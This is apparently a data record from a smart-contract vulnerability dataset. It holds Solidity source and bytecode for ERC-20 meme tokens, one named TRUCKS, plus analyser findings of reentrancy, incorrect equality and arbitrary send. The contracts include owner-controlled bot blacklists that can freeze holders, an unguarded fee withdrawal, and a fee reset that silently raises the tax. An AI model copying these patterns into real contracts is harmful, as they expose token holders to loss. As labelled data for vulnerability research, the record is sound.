uint private constant _decimals = 9;
uint256 private _teamFee = 15;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(5).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (20 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bf578063cf0848f7146103d4578063cf9d4afa146103f4578063dd62ed3e14610414578063e6ec64ec1461045a578063f2fde38b1461047a57600080fd5b8063715018a6146103225780638da5cb5b1461033757806390d49b9d1461035f57806395d89b4114610172578063a9059cbb1461037f578063b515566a1461039f57600080fd5b806331c2d8471161010857806331c2d8471461023b5780633bbac5791461025b578063437823ec14610294578063476343ee146102b45780635342acb4146102c957806370a082311461030257600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b257806318160ddd146101e257806323b872dd14610207578063313ce5671461022757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049a565b005b34801561017e57600080fd5b5060408051808201825260088152674348454454414d4160c01b602082015290516101a991906118b8565b60405180910390f35b3480156101be57600080fd5b506101d26101cd366004611932565b6104e6565b60405190151581526020016101a9565b3480156101ee57600080fd5b50678ac7230489e800005b6040519081526020016101a9565b34801561021357600080fd5b506101d261022236600461195e565b6104fd565b34801561023357600080fd5b5060096101f9565b34801561024757600080fd5b506101706102563660046119b5565b610566565b34801561026757600080fd5b506101d2610276366004611a7a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a057600080fd5b506101706102af366004611a7a565b6105fc565b3480156102c057600080fd5b5061017061064a565b3480156102d557600080fd5b506101d26102e4366004611a7a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030e57600080fd5b506101f961031d366004611a7a565b610684565b34801561032e57600080fd5b506101706106a6565b34801561034357600080fd5b506000546040516001600160a01b0390911681526020016101a9565b34801561036b57600080fd5b5061017061037a366004611a7a565b6106dc565b34801561038b57600080fd5b506101d261039a366004611932565b610756565b3480156103ab57600080fd5b506101706103ba3660046119b5565b610763565b3480156103cb57600080fd5b5061017061087c565b3480156103e057600080fd5b506101706103ef366004611a7a565b610934565b34801561040057600080fd5b5061017061040f366004611a7a565b61097f565b34801561042057600080fd5b506101f961042f366004611a97565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046657600080fd5b50610170610475366004611ad0565b610bda565b34801561048657600080fd5b50610170610495366004611a7a565b610c50565b6000546001600160a01b031633146104cd5760405162461bcd60e51b81526004016104c490611ae9565b60405180910390fd5b60006104d830610684565b90506104e381610ce8565b50565b60006104f3338484610e62565b5060015b92915050565b600061050a848484610f86565b61055c843361055785604051806060016040528060288152602001611c64602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113a1565b610e62565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b81526004016104c490611ae9565b60005b81518110156105f8576000600560008484815181106105b4576105b4611b1e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f081611b4a565b915050610593565b5050565b6000546001600160a01b031633146106265760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f8573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f7906113db565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016104c490611ae9565b6106da600061145f565b565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104c490611ae9565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f3338484610f86565b6000546001600160a01b0316331461078d5760405162461bcd60e51b81526004016104c490611ae9565b60005b81518110156105f857600c5482516001600160a01b03909116908390839081106107bc576107bc611b1e565b60200260200101516001600160a01b03161415801561080d5750600b5482516001600160a01b03909116908390839081106107f9576107f9611b1e565b60200260200101516001600160a01b031614155b1561086a5760016005600084848151811061082a5761082a611b1e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087481611b4a565b915050610790565b6000546001600160a01b031633146108a65760405162461bcd60e51b81526004016104c490611ae9565b600c54600160a01b900460ff1661090a5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c4565b600c805460ff60b81b1916600160b81b17905542600d81905561092f906104b0611b65565b600e55565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104c490611ae9565b600c54600160a01b900460ff1615610a115760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c4565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611b7d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611b7d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611b7d565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c045760405162461bcd60e51b81526004016104c490611ae9565b600f811115610c4b5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104c4565b600855565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b038116610cdf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c4565b6104e38161145f565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d3057610d30611b1e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dad9190611b7d565b81600181518110610dc057610dc0611b1e565b6001600160a01b039283166020918202929092010152600b54610de69130911684610e62565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1f908590600090869030904290600401611b9a565b600060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c4565b6001600160a01b038216610f255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c4565b6001600160a01b03821661104c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c4565b600081116110ae5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c4565b6001600160a01b03831660009081526005602052604090205460ff16156111565760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c4565b6001600160a01b03831660009081526004602052604081205460ff1615801561119857506001600160a01b03831660009081526004602052604090205460ff16155b80156111ae5750600c54600160a81b900460ff16155b80156111de5750600c546001600160a01b03858116911614806111de5750600c546001600160a01b038481169116145b1561138f57600c54600160b81b900460ff1661123c5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c4565b50600c546001906001600160a01b03858116911614801561126b5750600b546001600160a01b03848116911614155b8015611278575042600e54115b156112bf57600061128884610684565b90506112a860646112a2678ac7230489e8000060056114af565b9061152e565b6112b28483611570565b11156112bd57600080fd5b505b600d544214156112ed576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f830610684565b600c54909150600160b01b900460ff161580156113235750600c546001600160a01b03868116911614155b1561138d57801561138d57600c54611357906064906112a290600f90611351906001600160a01b0316610684565b906114af565b81111561138457600c54611381906064906112a290600f90611351906001600160a01b0316610684565b90505b61138d81610ce8565b505b61139b848484846115cf565b50505050565b600081848411156113c55760405162461bcd60e51b81526004016104c491906118b8565b5060006113d28486611c0b565b95945050505050565b60006006548211156114425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c4565b600061144c6116d2565b9050611458838261152e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114be575060006104f7565b60006114ca8385611c22565b9050826114d78583611c41565b146114585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c4565b600061145883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f5565b60008061157d8385611b65565b9050838110156114585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c4565b80806115dd576115dd611723565b6000806000806115ec8761173f565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116199085611786565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116489084611570565b6001600160a01b03891660009081526001602052604090205561166a816117c8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116af91815260200190565b60405180910390a350505050806116cb576116cb600954600855565b5050505050565b60008060006116df611812565b90925090506116ee828261152e565b9250505090565b600081836117165760405162461bcd60e51b81526004016104c491906118b8565b5060006113d28486611c41565b60006008541161173257600080fd5b6008805460095560009055565b60008060008060008061175487600854611852565b9150915060006117626116d2565b90506000806117728a858561187f565b909b909a5094985092965092945050505050565b600061145883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a1565b60006117d26116d2565b905060006117e083836114af565b306000908152600160205260409020549091506117fd9082611570565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061182d828261152e565b82101561184957505060065492678ac7230489e8000092509050565b90939092509050565b6000808061186560646112a287876114af565b905060006118738683611786565b96919550909350505050565b6000808061188d86856114af565b9050600061189b86866114af565b905060006118a98383611786565b92989297509195505050505050565b600060208083528351808285015260005b818110156118e5578581018301518582016040015282016118c9565b818111156118f7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e357600080fd5b803561192d8161190d565b919050565b6000806040838503121561194557600080fd5b82356119508161190d565b946020939093013593505050565b60008060006060848603121561197357600080fd5b833561197e8161190d565b9250602084013561198e8161190d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119c857600080fd5b823567ffffffffffffffff808211156119e057600080fd5b818501915085601f8301126119f457600080fd5b813581811115611a0657611a0661199f565b8060051b604051601f19603f83011681018181108582111715611a2b57611a2b61199f565b604052918252848201925083810185019188831115611a4957600080fd5b938501935b82851015611a6e57611a5f85611922565b84529385019392850192611a4e565b98975050505050505050565b600060208284031215611a8c57600080fd5b81356114588161190d565b60008060408385031215611aaa57600080fd5b8235611ab58161190d565b91506020830135611ac58161190d565b809150509250929050565b600060208284031215611ae257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b5e57611b5e611b34565b5060010190565b60008219821115611b7857611b78611b34565b500190565b600060208284031215611b8f57600080fd5b81516114588161190d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bea5784516001600160a01b031683529383019391830191600101611bc5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c1d57611c1d611b34565b500390565b6000816000190483118215151615611c3c57611c3c611b34565b500290565b600082611c5e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209ec9ce26f48ee6eea12cf7d084b9087766c3b3f2d078166bb5f2d49dd094a39664736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,998 |
0x242b29e112344c539ce620f87a975b3d91d20f76
|
/**
*Submitted for verification at Etherscan.io on 2021-08-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-23
*/
/*
https://t.me/TrucksToken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TRUCKS is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TRUCKS | t.me/TrucksToken";
string private constant _symbol = "TRUCKS";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
